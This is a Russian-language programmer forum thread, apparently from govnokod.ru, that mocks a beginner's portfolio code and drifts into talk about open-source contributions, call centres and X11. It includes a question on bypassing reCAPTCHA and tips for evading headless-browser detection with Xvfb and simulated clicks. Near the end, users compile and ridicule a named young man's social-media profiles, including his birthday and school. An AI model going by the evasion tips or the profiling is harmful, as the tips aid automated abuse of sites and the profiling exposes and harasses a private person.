                          • Ну например сделать фигню что если кто-то с одного IP подряд регает много аккаунтов, то чтобы это блокировалось, аккаунты и этот IP забанивался бы.
                            Ответить
                            • Я после каждого бана буду делать реконнект и забаню всю сеть моего провайдера.
                              Ответить
                              • У меня есть подозрение, что сейчас там такого нет. Ну это лучше пусть ABryCTOBCKuu_nemyx прокомментирует, я не занимаюсь засиранием всяких сайтов.
                                Ответить
                                • > Для портфолио лучше делать что-то более менее полезное и новое

                                  > там такого нет

                                  – а при чём тут там?
                                  Ответить
                                  • > – а при чём тут там?

                                    Т.е. твой вопрос не про то, там это или не там? А о чем твой вопрос? Что бы такого принципиально нового сделать? Хмммм... ну например можно сделать децентрализованный форумный движок.

                                    А очередная соцсеть это настолько банально, что у меня даже слов нет
                                    Ответить
                                    • ну если мы говорим про "новое и полезное" для кейтлинлис, то для неё всё новое и полезное и будет выглядеть в портфолио одинаково

                                      а если про "новое и полезное" глобально, то защита от спама по ип старше самой этой девахи, я подозреваю. что она там может нового выдумать
                                      Ответить
                                    • Соцсеть для номерных петухов и багров ­— свежая идея, кстати.
                                      Ответить
                          • А, вопрос "например что делать для портфолио?" ?

                            Да например с гитхаб-аккаунта накоммитить в мастодон или плерому каких-нибудь улучшений. Это будет всяко полезней и значимей
                            Ответить
                            • > мастодон или плерому
                              – это что ещё за нинужно? и зачем в него что-то коммитить?
                              Ответить
                              • > – это что ещё за нинужно?

                                Децентрализованные федеративные соцсети.

                                > и зачем в него что-то коммитить?

                                Чтобы там что-то улучшить.
                                Ответить
                                • это кому-то интересно?

                                  типа пишешь в резюме "улучшил что-то в девственной плероме" и фаанг в очередь выстраивается?
                                  Ответить
                                    • по ссылке собрание школотронов какое-то

                                      сёмантически кстати нет никакой разницы между этой плеромой и сайтом про гаечку, который недавно притаскивали

                                      только тот сайт был сделан в MS Front Page
                                      Ответить
                                      • > по ссылке собрание школотронов какое-то

                                        Не, это не школотроны. Школотроны про это не знают в основном, и сидят во вкантактике. В этих децентрализованных соцсеточках весьма специфичная аудитория всяких пони-аниме-линукс-сисадмино-программистов собирается, и трансгендеров там достаточно много.
                                        Ответить
                                        • а есть какая-то плерома, на которой сидят исключительно бездушные роботы?

                                          эти пони-аниме какие-то немножко деграданты
                                          Ответить
                                          • > а есть какая-то плерома, на которой сидят исключительно бездушные роботы?

                                            Понятия не имею, но можно сделать, заселить ее номерными питухами, постящими вореции например
                                            Ответить
                                              • > я хочу качественный контент

                                                Качественный осмысленный текстовый контент роботы пока не умеют делать. Если все же интересуют люди, можешь тут посмотреть например https://mastodon.social/explore

                                                Но вообще я в этом не особо разбираюсь, CHayT там вроде как сидит, может он что-то подскажет
                                                Ответить
                                                • > люди
                                                  – в том-то и дело, что у людей с качественным осмысленным текстовым контентом часто тоже не очень

                                                  только у них грехи на этом не заканчиваются, в отличие от роботов
                                                  Ответить
                                                • > Mastodon написан как веб-приложение с открытым исходным кодом для федеративного микроблогинга
                                                  > Его серверная часть разработана на Ruby on Rails и Node.js, а клиентская часть написана на React.js и Redux.

                                                  >> j123123
                                                  >>Ruby on Rails и Node.js

                                                  Блять.
                                                  Ответить
                                                  • просто в контроллерах может быть только один JАРЬ
                                                    Ответить
                                                  • А что я? Я эти мастодоны не разрабатывал. Говнокод вот вообще на «PHP» написан
                                                    Ответить
                                                    • > А что я? Я эти мастодоны не разрабатывал.

                                                      Ну если это расперделённая сеть, то возможно j123123 захочет поднять в этой сети свою ноду.

                                                      Потянет ли микроконтроллер или спаянный в гараже RISC V ноду и рельсы?

                                                      Не думаю.
                                                      Ответить
                                • С одной стороны ты прав: контрибьютя в хороший крепкий опенсурс ты учишься делать более-ли-менее правильно, а пиша для самого себя в сторонке какое-то говно ты учишься писать говно.

                                  С другой стороны веб питуху полезно всё сделать с ноля один раз, иначе мы получим питуха, который с СУБД умеет работать только через ORM, и не представляет себе чем GET и POST различаются
                                  Ответить
                                  • > сделать с ноля один раз

                                    Начнём с выращивания кристалла кварца....
                                    Ответить
                                      • > В нулевой точке были реле и радиолампы.

                                        Да не, там ведь надо всего лишь сайт с нуля запилить, а не всю историю компов от абака до аймака пройти...
                                        Ответить
                                        • С ноля тже начинать заебись кстати

                                          Пецольд (древний майк, автор одной их первых книжек про программирование под винду) написал также книжку КОД.

                                          Там начинается с того, как электрончики летают вокруг ядра (ну на уровне школьной физики), а заканчивается ассемблером.

                                          И по моему это очень пиздато.

                                          Пижже, чем сразу по джанго гёлс сайт делать
                                          Ответить
                                          • > заканчивается ассемблером.

                                            Надо было закончить джаваскриптом, получилась бы хорошая трагедия.
                                            Ответить
                                            • надо было закончить лишпом или фортом

                                              впрочем, это же "древний майк", откуда там форт и лишп
                                              Ответить
                                  • > контрибьютя в хороший крепкий опенсурс ты учишься делать более-ли-менее правильно

                                    – правильно с точки зрения других авторов этого попенсурса, не более
                                    Ответить
                                    • Смотря что за опенсурс. Если mrak.su, то да, конечно)

                                      А например тот же Django или RoR научит каким-то более-ли-менее годным для веба практикам
                                      Ответить
                                      • писать фреймворк и использовать фреймворк это не одно и то же

                                        типа в джанге и рельсах опиздинительно вылизанный код, охуенно покрытый тестами и тулами для наализа?
                                        Ответить
                                        • да не, там тоже говна хватает

                                          Но там есть

                                          * Ишью треккер
                                          * Стабильный бранч и мастер
                                          * Тесты
                                          * Код ревью
                                          * Какая-никакая архитектура
                                          * Вопросы безопасности и обратной совместимости

                                          Это всё полезно нубу поковырять.

                                          Полезнее, чем писать
                                          https://github.com/katelinlis/botforrent/blob/master/menu/rent.js
                                          Ответить
                                          • поковырять да

                                            но пулл-реквесты от нуба туда не примут

                                            а портфолио нужно здесь и сейчас

                                            хотя я вообще не понимаю эту дрочь на опенсорс в сиви
                                            Ответить
                                            • > дрочь на опенсорс в сиви

                                              Можно забить на собеседование и тупо читать гитхаб. Всё веселее, чем красно-чёрные деревья переворачивать.
                                              Ответить
                                              • угу

                                                то есть тратить личное время на контрибьют в опенсорс, чтобы потом какой-то ленивый пидор забил на собеседование

                                                какой постмортернизм )))
                                                Ответить
                                            • >не примут
                                              Ну так пускай нуб дрочится, пока не примут.
                                              Это и есть обучение
                                              Ответить
                                              • не хочешь примерно прикинуть, сколько надо нубу дрочить, чтобы у него приняли pr в джангу, и сколько раз за это время он умрёт с голоду?

                                                кстати, вариант, что нубу тупо интереснее пилить свою говносоцсеть, чем говно вилкой чистить в рельсах, не рассматривается?
                                                Ответить
                                                • > сколько надо нубу дрочить, чтобы у него приняли pr

                                                  Ну обычно в проектах есть всякие issues с пометкой "easy", которые специально для нубов и держат

                                                  >тупо интереснее пилить свою говносоцсеть,

                                                  Вполне может быть так.

                                                  Я всего лишь отметил, что контрибьютя в боль-мень серьезный проект ты скорее научишься делать правильно
                                                  Ответить
                                                  • > easy

                                                    – для портфолио как-то наверное не очень, если там надо будет доку пофиксить или опечатку исправить

                                                    ну это вообще классическая ситуация, когда без опыта не берут, а опыт без этого не появится лол
                                                    Ответить
                                                    • > без опыта не берут, а опыт без этого не появится лол
                                                      А как насчёт дипломной работы? Пишешь что-то полезное, это внедряют в производство, у тебя и диплом, и строчка о том, что твоя питушня автоматизировала что-то важное.
                                                      Ответить
                                                      • > А как насчёт дипломной работы?
                                                        А также практики
                                                        Ответить
                                                      • не знаю, насколько много таких дипломов

                                                        я хотел похожее написать, на меня декан смотрел с круглыми глазами и вещал "хуле ты такой борзый, у нас люди с завода будут на защите, а ты хочешь предложить им что-то там переписать?! самый умный шоле"
                                                        Ответить
                                                  • > контрибьютя в боль-мень серьезный проект ты скорее научишься делать правильно

                                                    Если это что-то мозиловское или xiphовское, то совсем не факт.
                                                    Ответить
                                                • > кстати, вариант, что нубу тупо интереснее пилить свою говносоцсеть, чем говно вилкой чистить в рельсах, не рассматривается?
                                                  +1

                                                  Все кукарекают про "правильный код", "гайдлайны", "резюме", "закоммить в важный проект" а программирование - это просто весёлое творческое занятие. Если программист не будет кодить в своё удовольствие, он уже сгниёт до того, как наберётся опыта.

                                                  P.S. До всяких паттернов, важных проектов и серьёзного кодинга нужно дорасти. Не надо отбирать у программиста детство.
                                                  Ответить
                                                  • Уверен, нубы не контрибьютят в ядро линукс, потмоу что им это не интересно
                                                    А так бы оо
                                                    Ответить
                                                    • > нубы не контрибьютят в ядро линукс

                                                      – а как же тот дойчечувак, которого Линукс хуесосил в рассылке? он системд пилил что ли.

                                                      а, ну это не ядро ж?
                                                      Ответить
                      • портфолио на какую должность?

                        На фронтера с такой хуёвой версткой его не возьмут. Про бек не скажу, но судя по вису и там всё печально
                        Ответить
                    • > Pleroma is written in Elixir and uses PostgresSQL for data storage.
                      > It's efficient enough to be ran on low-power devices like Raspberry Pi

                      > Elixir leverages the Erlang VM, known for running low-latency, distributed, and fault-tolerant systems.

                      Ещё и хостинг НЕ на гитхабе.
                      https://git.pleroma.social/pleroma/pleroma
                      Ответить
                      • > хостинг НЕ на гитхабе
                        – ну это плюс, на самом деле

                        в остальном же двойное нинужно

                        – покажите портфолио
                        – вот, я коммитил на эрланге в соцсеть
                        – следующий!
                        Ответить
                        • > ну это плюс, на самом деле

                          Там каждый пункт это плюсы.

                          Если там будет freedom of speech, отличная от линии партии, то завтра МС попробует выключить рубильник как Яббл и Гугл сделали c parler.

                          > вот, я коммитил на эрланге в соцсеть
                          Всяко лучше чем на NodeJS и Ruby on Rails.
                          Ответить
                          • Не знаю, что там, мобильный фаерфокс раком встал по этой ссылке
                            Ответить
                                • Так-то да, если б не закидоны из серии "я не пользуюсь github т.к. религия не позволяет". Что-то я сомневаюсь, что она на работе опенсорс пилить будет

                                  (хотя гитхаб конечно говно)
                                  Ответить
                                  • да там вроде нет такого

                                    пишет же, что три раза банили на гитхабе (сложно представить, за что), но, если надо, то заведёт ещё один акк, на который будет зеркалить с личного гита

                                    там проблема в том, что резюме пиздливое. сама ж пишет, что опыта в админстве и пыхе 0

                                    так что это даже не пыхорезюме, а школорезюме

                                    а этот тред можно же найти, используя ссылки, которые ведут из него?
                                    Ответить
                                    • > а этот тред можно же найти, используя ссылки, которые ведут из него?

                                      Это хз. Возможно что да, если через гуглоаналитику или иным способом кто-то следит за активными ссылками (активная ссылка будет на xyz) или смотрит статистику переходов

                                      см. https://govnokod.ru/27186#comment607155 например
                                      Ответить
                              • >Системный администратор / Разработка ПО / Тестирование ПО

                                дальше можно не читать


                                >2015
                                >ActionScript
                                какой пиздец
                                Ответить
                        • – покажите портфолио
                          – вот, я коммитил на эрланге в соцсеть
                          HR молодой, динамично развивающейся веб-студии: следующий!


                          – покажите портфолио
                          – вот, я коммитил на эрланге в соцсеть
                          HR Ericsson: а когда сможете приступить к работе?
                          Ответить
                          • смехуёчки смехуёчками

                            предлагаю сравнить количество вакансий

                            не думаю, что эрикссону особенно интересны соцсети

                            ну и одного факта, что кто-то почитал кукбук по илитному нинужно, вряд ли достаточно, чтобы не спрашивать по cs
                            Ответить
                            • >предлагаю сравнить количество вакансий
                              на пи аш пи и на эрланге?
                              Ответить
                                • Назван топ-20 самых востребованных вакансий

                                  Менеджер по продажам1491

                                  2. Продавец-консультант1377

                                  3. Продавец-кассир854

                                  4. Оператор колл центра823

                                  5. Менеджер по работе с клиентами804

                                  6. Разнорабочий791

                                  7. Кладовщик660

                                  8. Грузчик659

                                  9. Торговый представитель659

                                  10. Бухгалтер627

                                  11. Комплектовщик606

                                  12. Повар460

                                  13. Водитель автомобиля453

                                  14. Комплектовщик407

                                  15. Сборщик заказов395

                                  16. Водитель-экспедитор394

                                  17. Медицинская сестра389

                                  18. Уборщик служебных и производственных помещений367

                                  19. Директор магазина353

                                  20. Подсобный рабочий352
                                  Ответить
                                  • видишь, ты ещё не начал даже писать на эрланге, а уже хуйню постишь. а что будешь, как начнёшь?
                                    Ответить
                                    • Я стараюсь говорить с собеседником на его языке.

                                      Нельзя же всерьез что-то обсуждать с человеком, который качество языка измеряет количеством вакансий
                                      Ответить
                                      • homo sapiens обычно умеет запоминать контекст, в рамках которого идёт беседа

                                        в отличие от него, homo erlangus видит знакомые слова и начинает срать сарказмом

                                        missing link, не иначе
                                        Ответить
                                        • Любой, кто не согласен с оценкой языка по количеству ваканский на hh.ru автоматически записывается в "эрлангисты", лол
                                          Ответить
                                          • ты "эрлангист", потому что сам притащил "оценку языка", про которую вообще никто не говорил, сам посмеялся

                                            тебе б на тренинги по коммуникации сходить
                                            Ответить
                                      • > Я стараюсь говорить с собеседником на его языке.

                                        Это десктоп... Он вещает из параллельной вселенной, где у bitcoin был ICO. Информация из нашего мира до него доходит только в виде каких-то отдельных слов, целые предложения не доходят.
                                        Ответить
                                        • фашику, маринованному в собственной дристне, конечно виднее, кто в какой вселенной
                                          Ответить
                                              • > порвался
                                                – в твоих влажных мечтах

                                                а вот ты хуйню не перестаёшь писать, стабильность. например, про "у bitcoin был ICO"

                                                это видимо всё, что твоё мапредьюснутое сознание смогло вынести
                                                Ответить
                                  • > 4. Оператор колл центра823
                                    И эти муняки ещё и требуются?

                                    Банковские безопасники нанимают, пока надзиратели не видят?
                                    Ответить
                                    • Почему муняки?

                                      А кто будет отвечать на вопросы по телефону?
                                      Ответить
                                      • > А кто будет отвечать на вопросы по телефону?

                                        Искусственный Муняк, который нифига не может ответить. Впрочем, это ничуть не портит ситуацию.
                                        Ответить
                                        • -- Здравствуйте! Хуйлайн рад вам! У вас проблемы с Интернетом? нажмите один
                                          --1
                                          --Выключите роутер и включите снова. Я рад, что смог помочь вам. Пи-пи-пи
                                          Ответить
                                          • > нажмите один

                                            К слову, мне такой бот реально помогал т.к. перезагружал их роутер.
                                            Ответить
                                            • >их
                                              у тебя дома стоял их роутер?L)
                                              Ответить
                                              • Говно на их стороне ребутнул он. Видно было как линк пропал и потом появился заново.
                                                Ответить
                                                • охуясе до чего автоматика дошла
                                                  никогда такого не видел
                                                  Ответить
                                      • Потому, что звонят и задают вопросы мне.

                                        А не нужен ли кредит? Это персональное предложение, почему отказываетесь? А вот наши клиенты делают в кредит ремонт и покупают квартиры. Может, всё же нужны деньги?

                                        Если всех этих мразей-звонарей пересадить на линии техподдержки, не будет потребности в новых операторах.
                                        Ответить
                                        • А, этих пидарасов я тоже ненавижу


                                          Какойто Какойтович? Здравствуйте! Меня зовут Лолхуй, специалист по работе с клиентами Смегмабанка. Звоню чтобы предложить вам..
                                          Ответить
                                          • И тон у них блевотный. Говорят равномерно и как с идиотом. Словно воспитательница в детском саду "А кто у нас тут покакал? А может всё-таки хотите взять наш сраный кредит?"
                                            Ответить
                                            • > И тон у них блевотный.

                                              Некоторые даже не смогли пройти тест Тьюринга, я посчитала их ботами и дропнула.
                                              Ответить
                                              • > Некоторые даже не смогли пройти тест Тьюринга

                                                Можно пужулуйста ещё фурмализиворать методику теста Тьюринга?
                                                Ответить
                                                • > фурмализиворать методику теста Тьюринга

                                                  Никак не отреагировали когда я сказала "меня не интересует".
                                                  Ответить
                                                  • Да, неоднократно была такая же хуйня.

                                                    Предполагаю (на основании некоторых инсайдов) у них там есть речевой мудуль. Прописана блок-схема разговора. Также распознаётся что она пиздит, делается speech-2-text.

                                                    Затем проверяется (возможно выборочно) что клиенту втирали правильные вореции.

                                                    Потому нужно этой мразине дать договорить и чтобы она сама положила трубку.

                                                    А то могут потом перезванивать, пока не доебут окончательно.
                                                    Ответить
                                                    • А у меня такое ощущение, что это уже просто TTS а не люди. Дёшево и сердито. А эффективность в общем-то такая же.
                                                      Ответить
                                                      • > это уже просто TTS а не люди.

                                                        Промежуточная стадия.

                                                        Единственное различие: можно наорать на них, тогда поймут. Может быть...
                                                        Ответить
                                                        • > можно наорать на них

                                                          Да ещё не хватало нервы тратить... Дроп и в блеклист, как уёбка.
                                                          Ответить
                                                          • забавно, что на Андроиде гугловая звонилка умеет в глобальный блек-лист

                                                            а Самсунговская нет, хотя гнусмас на пару шагов впереди по зондированию имхо
                                                            Ответить
                                                          • > Да ещё не хватало нервы тратить... Дроп и в блеклист, как уёбка.

                                                            Просто мне например звонят из банков, где я клиент. Не хотелось бы в блек-лист совать, вдруг что-то важное.

                                                            А у advanced звонилок номеров не меньше чем у Смегмы юзеров.

                                                            Самый простой способ: детектировать автопитуза, дать ему выговориться (отложив телефон в сторону), чтобы они в БД поставили отметку: ПОТРАЧЕНО ✓
                                                            Ответить
                                                            • > звонят из банков, где я клиент

                                                              Х.з., эти меня вообще не напрягают, понимают слово "нет" и звонят с конкретного номера, который у меня в контактах.

                                                              На опсосов я обиделась и попросила больше не звонить. Больше не звонят.

                                                              А вот пидоры из других банков не отстают... И слушать смысла нету, проверяла. Тебя человек слушает, включая фразу "больше не звоните мне". И через неделю опять звонит. Дроп и блеклист, в общем.
                                                              Ответить
                                                              • >> звонят из банков, где я клиент
                                                                > эти меня вообще не напрягают и понимают слово "нет"
                                                                Обычно раза с третьего, когда говоришь, что точно деньги не нужны.

                                                                > из других банков не отстают
                                                                Мне только свои звонят. Ну разве что какие-то интернет-подключатели звонили когда-то.
                                                                Ответить
                                                                • > что точно деньги не нужны

                                                                  - Вам точно деньги не нужны?
                                                                  - Точно.
                                                                  - Ок, спасибо, обнулили счёт.
                                                                  Ответить
                                                                  • напомнило

                                                                    --Не желаете записаться в секцию группового секса?
                                                                    --А кто там будет?
                                                                    --Вы, я, и Ваша жена
                                                                    --Ннет..
                                                                    --Ну тогда я вас вычёркиваю
                                                                    (с)
                                                                    Ответить
                                                                • > Обычно раза с третьего

                                                                  Да не, там годный манагер: звонит крайне редко, общается нормально, хуйни не предлагает.
                                                                  Ответить
                                                            • А мне частенько звонят из банка, чьим клиентом я никогда не был, и спрашивают действительно ли я перевёл Петру Петровичу Петрову пятьдесят тысяч рублей
                                                              Ответить
                                                            • > А у advanced звонилок номеров не меньше чем у Смегмы юзеров.
                                                              Банковские питузы раньше звонили с московских номеров.
                                                              Но потом поняли, что московские номера блокируются двумя правилами, и теперь звонят с рандомных сотовых.
                                                              Ответить
                                            • >равномерно

                                              Есть два вида ссаного говна, которое нужно запретить.

                                              В интерфейсах это медленно всплывающие сообщения.
                                              Я хочу получить сообщение об ошибке или еще какую-то инфу быстро. Мне не нужно медленно и красиво его показывать. никому это не нужно. Это тратит время!

                                              В пизделках по телефону нужно запретить ненужный семантический мусор.

                                              Звонишь в такси.

                                              --Здравствуйте Хуй Хуевич, откуда вас сегодня забрать?
                                              Надо так:
                                              -Здравствуйте, откуда поедете?
                                              Ответить
                                                • Я уже рассказывал же про кнопочный телефон
                                                  Ответить
                                                • > ??

                                                  Звонишь телефонистке, просишь соединить с такси. По-другому пока не придумали, к сожалению.
                                                  Ответить
                                                • Я уже рассказывал же про кнопочный телефон
                                                  Ответить
                                                    • Конечно. Меня легко отличить, трудно потерять, и невозможно удалить.


                                                      В баре спрашиваю бармена "какой у вас адрес? мне такси нужно вызвать"

                                                      А бармену там девятнадцать лет, он вообще не понимает о чём я, и ебло у него вытягивается
                                                      Ответить
                                              • В Лидере как-то так было. Они ещё хакнули телефон и отвечали без гудков почти мгновенно. Не помню, здоровались ли. По-моему, просто говорили "откуда поедете".

                                                Ты только набрал номер, а там сразу отвечают "откуда поедете". Эффективность 200%, боттлнеком уже становится клиент, поскольку человек не привык, что по телефону отвечают настолько быстро и начинают разговор настолько внезапно. Там только с третьего раза привыкаешь к их царскому пирфомансу.
                                                Ответить
                                                • >Ты только набрал номер, а там сразу отвечают "откуда поедете".

                                                  fastcall convention )))

                                                  > боттлнеком уже становится клиент, поскольку человек не привык, что по телефону отвечают настолько быстро и начинают разговор настолько внезапно.

                                                  incompatible ABI
                                                  Ответить
                                              • > Я хочу получить сообщение об ошибке или еще какую-то инфу быстро. Мне не нужно медленно и красиво его показывать. никому это не нужно

                                                Представь себе: под музыку из Челюстей медленно снизу экрана начинает выползать окно. Ты с замиранием сердца смотришь, пытаясь по двум пикселям заголовка угадать, о чем это сообщение. И тут, окно выскакивает на середину экрана, и ты видишь текст «Access Violation».

                                                Саспенс! Напряжение! Неизвестность!
                                                Ответить
                                                • Чтобы нагнать саспес, сначала нужно показать код с use after free в функции save_document. Потом пару минут показывать пользователя, который набирает текст в этой программе под гнетущую музыку. И вот он тянется к клавишам Ctrl и S...
                                                  Ответить
                                                • > Саспенс! Напряжение! Неизвестность!

                                                  Прямо как отправка коммента на ГК когда в буфере обмена нет копии.
                                                  Ответить
    • какой багор ))
      какой багор ))
      какой багор ))
      Ответить
    • if (!response.data.user.me) {
                document.getElementById("friendRequestAndSendMessage").style.display = 'block'
                if (friend_status.status === 0 && friend_status.forme === false)
                  document.getElementById("ButtonSendRequestFriend").innerText = 'Cancel request'
                else if (friend_status.status === 0 && friend_status.forme === true)
                  document.getElementById("ButtonSendRequestFriend").innerText = 'Accept request'
                else if (friend_status.status == 1)
                  document.getElementById("ButtonSendRequestFriend").innerText = 'remove from Friends'
                console.log("dd")
              }
              else document.getElementById("EditUser").style.display = 'block'
            })


      ну и кондец
      Ответить
  • Петухи, есть способ обойти рекапчу, когда она задач не показывает, просто отправляет csrf-токен, без браузерного движка?
    Ответить
    • > рекапчу

      Лол, т.е. у неё уже более секьюрная регистрация, чем у Падавана Старвара?
      Ответить
      • > Дальше - больше. Внимательно следи за ходом работы и явно заметишь разницу вскоре
        Ответить
        • А рекапча поди его спалит и начнёт показывать автобусы?
          Ответить
        • А обычный не подойдет? Или ты с виртуалки?
          Ответить
          • c виртуалки тоже можно обычным. Иканус стопудово умеет в X11 forwarding по ssh
            Ответить
            • А в чём суть подобных извращений с обычным браузером и форвардингом х11?

              Тогда уж какой-нибудь Xvfb чтобы полная автономность.
              Ответить
              • Ну вдруг там каптча узнает, что у тебя хедлесс браузер как нить (по времени загрузки чего нить там, или нажатия)

                > Xvfb
                Это который в память рисует? А как потом смотреть чо получилось: скриншотики сымать?
                Чем это отличается от хедлесс режима?
                В смысле я понимаю, что браузер не узнает в каком он режиме, только этим?
                Ответить
                • Да на него и по VNC вроде зайти можно при желании.

                  > браузер не узнает в каком он режиме, только этим

                  Угу. Ну и клики реальные можно посылать.
                  Ответить
                  • Реальные — в смысле координаты точки клика, а не просто событие нажатия на элемент?
                    Ответить
                    • Там же вроде ещё какой-то флажок в ивенте есть, что это реальный клик а не симуляция из скрипта.
                      Ответить
                    • Ну да, хром-то не узнает вообще что он с нереальным питухом работает
                      Ответить
                  • в хедлессе тоже можно по идее

                    >VNC

                    гг, на хостерах наверное так делают для лошков-питушков, которые просят гуй на сервере
                    Ответить
                    • Ну это ведь удобнее, чем иксы прокидывать. Проги не зависят от тебя, можно открытыми там оставить. А с иксами они отвалятся при дисконнекте.
                      Ответить
                        • > не умирать при отвале сервера

                          Не думаю, что кто-то с этим заморачивался...

                          Кстати, крестик вроде по-умолчанию* как раз тупо дисконнектит клиента, а он убивает себя в том самом обработчике?

                          * если не договориться с WM.
                          Ответить
                          • Да.

                            Что бы договориться, нужно покласть атом `WM_DELETE_WINDOW` в свойтство `WM_PROTOCOLS `

                            https://tronche.com/gui/x/icccm/sec-4.html#WM_PROTOCOLS

                            Тогда WM пошлет тебе WM_DELETE_WINDOW и ты там можешь задавать тупые вопросы типа "действительно выйти? а файл сохранить?"

                            https://www.x.org/releases/X11R7.6/doc/xorg-docs/specs/ICCCM/icccm.html#window_deletion



                            А если ты этот атом туда не положишь, то тебя тупо дисконнектнут.

                            А дальше см про `XSetIOErrorHandler` (наверное, я не пробовал отлавливать этот момент)
                            Ответить
                              • Люблю когда мышка чуть дернулась, и вместо разворота на весь экран ты попал на крестик, а там пол часа что-то писал на форуме без сохранения
                                Ответить
                                • кстати вроде Крита несколько лет назад не показывала подтверждение при выходе
                                  Ответить
                                • > попал на крестик

                                  Сразу вспоминается злоебучая менюшка в виндовой консоли, где скопировать и закрыть стоят рядом.

                                  Благо в десятке больше нет этой боли...
                                  Ответить
                                  • Для чего существует виндовая консоль cmd?

                                    Виндовая консоль cmd существует для издевательства над людьми.

                                    Некоторые сумасшедшие пытаются винодовую косноль cmd улучшить.
                                    В результате улучшений издевательства становятся изощрённее
                                    Ответить
                                    • Я пробовал кобенацию «Conemu» + «FAR», увешанных плагинами. Проявлялась какая-то странная бага, какой-то из плагинов «FAR'а» падал. По отдельности всё работало.
                                      Ответить
  • Уважаемый клиент!


    С 26 августа 2021 года по 26 сентября 2021 года в RU‑CENTER проводится акция, в рамках которой для вас действует услуга «Персональный менеджер» бесплатно на один месяц.


    Услуга дает возможность обратиться напрямую (и прочая ненужная никому хуита)


    По истечении бесплатного месяца действия услуги вступит в силу стандартный порядок ее продления — в соответствии с тарифами, указанными в Приложении 2 к Договору об оказании услуг.

    Отказаться от продления услуги можно в разделе «Для клиентов» → «Услуги» → «Продление действия услуг» в любой момент, но не позднее чем за 8 календарных дней до окончания срока ее действия.


    ------



    Охуенно nic.ru навязывает услуги
    Ответить
    • Лол, они прям как опсосы автоматом подключают услугу, которую ты потом должен не забыть отключить?
      Ответить
      • Именно

        Если бы я не отловил это письмо, то стал бы счастливым обладателем каокго-то персонального питуха, который бы меня наверное учил "A" записи в DNS добавлять за 800 рублей в месяц
        Ответить
        • > наверное учил

          Он бы затаился чтобы тебя не спугнуть и получал бабло каждый месяц.
          Ответить
        • Я бы поняла, если бы это был какой-нибудь хостинг, где техподдержка всё-таки редко но нужна... С десятком-другим серваков было бы круто иметь какой-то контакт, который не надо ждать по полдня. Но что можно спросить у манагера по днс?
          Ответить
          • "Услуга дает возможность обращения с вопросами и за консультациями напрямую в отдел персонального обслуживания, минуя общую службу поддержки."

            Ну вообще они не только домены регают, они и DNS хостят, и сертами какими-то барыжат.. Может и хостинг у них есть, хз.

            Я с ними дела имеют только потому, что меня заебало что при регистрации домена через хостера потом надо ебаться при смене хостера (если у другого хостера другой регистратор то вообще треш)

            Ну и потому, что у них все записи поддерживаются
            Ответить
            • А я что-то вообще не хочу с доменами связываться...

              Жаль вот, что гитхаб последние годы хостит только https, а серт на айпишник хуй получишь. Состыковать статику с гитхаба со своим серваком не получается.
              Ответить
              • http-вставки на https-сайте может заблокировать система безопасности браузера. А вот наоборот работает (когда на http-сайте вставки в https).
                Ответить
              • Почему не хочешь?

                На nic.ru можно заказать услугу чтобы тебя в хуизе не палили. Или ты принципиально не хочешь никому паспорт показывать?

                Без домена ты не только серт, ты и почту не сделаешь
                Ответить
                • Не вижу смысла платить за буковки, а потом ещё и за услугу, чтобы мои паспортные данные на весь интернет не светились.
                  Ответить
                  • >Не вижу смысла платить за буковки,
                    А когда все перейдут на IPv6 ты будешь тоже айпишники руками вбивать?

                    > услугу
                    ну тут они не виноваты, это не их политика
                    https://en.wikipedia.org/wiki/Domain_privacy
                    Ответить
                    • > руками вбивать

                      Ну а кто сейчас ссылки руками вбивает? Даже в объявлениях уже какие-нибудь QR коды вставляют вместо ссылок.

                      Я не пилю фейсбуки, мне вполне хватило бы гитхабовской статики и немножко динамики на своём серваке. Но так нельзя ;(
                      Ответить
  • ВК пару лет назад изменил вид ссылок, чтобы его не использовали как хостинг изображений. Но умницы с «Diary» нашли воркэраунд:
    https://diary.ru/~diary-support/p220170372_izobrazheniya.htm

    Тестируем. На входе такая питушня:
    https://sun9-55.userapi.com/impg/HdrY53EAxtoV6FvE0sFH29Pbv841MaWUR0ZLqQ/FO4KtKXbA1E.jpg?size=604x327&quality=96&sign=3ad00580509b70e25103ac7701ef8c49&type=album


    Убираем по совету с «Diary» подстроку «impg/» и все GET-параметры. Получаем:
    https://sun9-55.userapi.com/HdrY53EAxtoV6FvE0sFH29Pbv841MaWUR0ZLqQ/FO4KtKXbA1E.jpg


    Работает. Оригинальная картинка, не зожатое превью. Наверное, ещё и хотлинкинг, как в старые времена, работает.
    Ответить
        • он там в 14 лет сидел лол

          какой юный хацкер майнкрафта
          Ответить
        • Pro100creepeer2 - YouTube
          https://www.youtube.com › user › Pro100creepeer2
          
          Pro100creepeer2. Pro100creepeer2. 306 subscribers. Subscribe. канал в Twitch.
          
          Pro100creepeer - Twitch
          Мой канал На YouTube http://www.youtube.com/user/Pro100creepeer2


          > 8 years ago
          >Простите что так серия затенулась следущие будут по 30 минут


          https://github.com/pro100creepeer
          Doctor pro100creepeer

          Ещё один «доктор»
          Ответить
            • Я с «Доктора» орнул

              Запасной профиль вк
              https://vk.com/pro100creepeer

              Roman PRO100CREEPEER Kostomarov
              Я думал, что после черной полосы идет белая. Но тут я вспомнил, что существует как минимум 49 оттенков черного.
              Birthday: May 20
              
              About me:
              я просто крутой у меня открыто 2 проекта
              это канал с более 1600 подписок и более 800 000 просмотров


              Career
              Company: youtube
              Шахты, 2011–2013
              let's play'щик
              
              Company: дом
              Шахты, 2011–2013
              Системный администратор
              
              Школа №23 '16 Shakhty, 2007–2016 (а)

              Какая карьера )))
              Ответить
              • Я думал, что «Роман» — это шутка. Значит, друзья военкома не пошутили, когда слили фотки в сеть.
                Ответить
                • Ещё один (этот уже не крутой майнкрафтер с двумя проектами и 800к просмотров).
                  https://vk.com/curium
                  
                  Roman Kostomarov  last seen 12 Jul at 7:01 am
                  Birthday: May 22, 1902
                  Ответить
                    • В соцсетях у многих ненастоящий возраст. Молодые завышают, чтобы пользоваться функциями для тех, кому за 18, а старые занижают.
                      Ответить
                      • Какой тандыр )))

                        > 1902
                        – теперь вы можете комментировать записи других пользователей и получить единоразовую выплату участникам Финской войны
                        Ответить
                  • Following

                    > ЭТО ФАКТ | Наука и Факты
                    > Хакер / xakep.ru — взлом, безопасность и защита
                    > Найдись | Шахты (знакомства и поиски)
                    > Телеканал РОССИЯ 1
                    > Киноман
                    > Коммунистическая партия РФ (КПРФ)
                    > Куртка Бейна
                    > Корпорация зла
                    > Лентач
                    > БИРЖА МЕМОВ Лайки крутятся, мемасы мутятся
                    > Типичный программист
                    > CA | Суровый Айтишник


                    КПРФ и РОССИЯ-1? Лучше бы продолжал играть в майнкрафт...

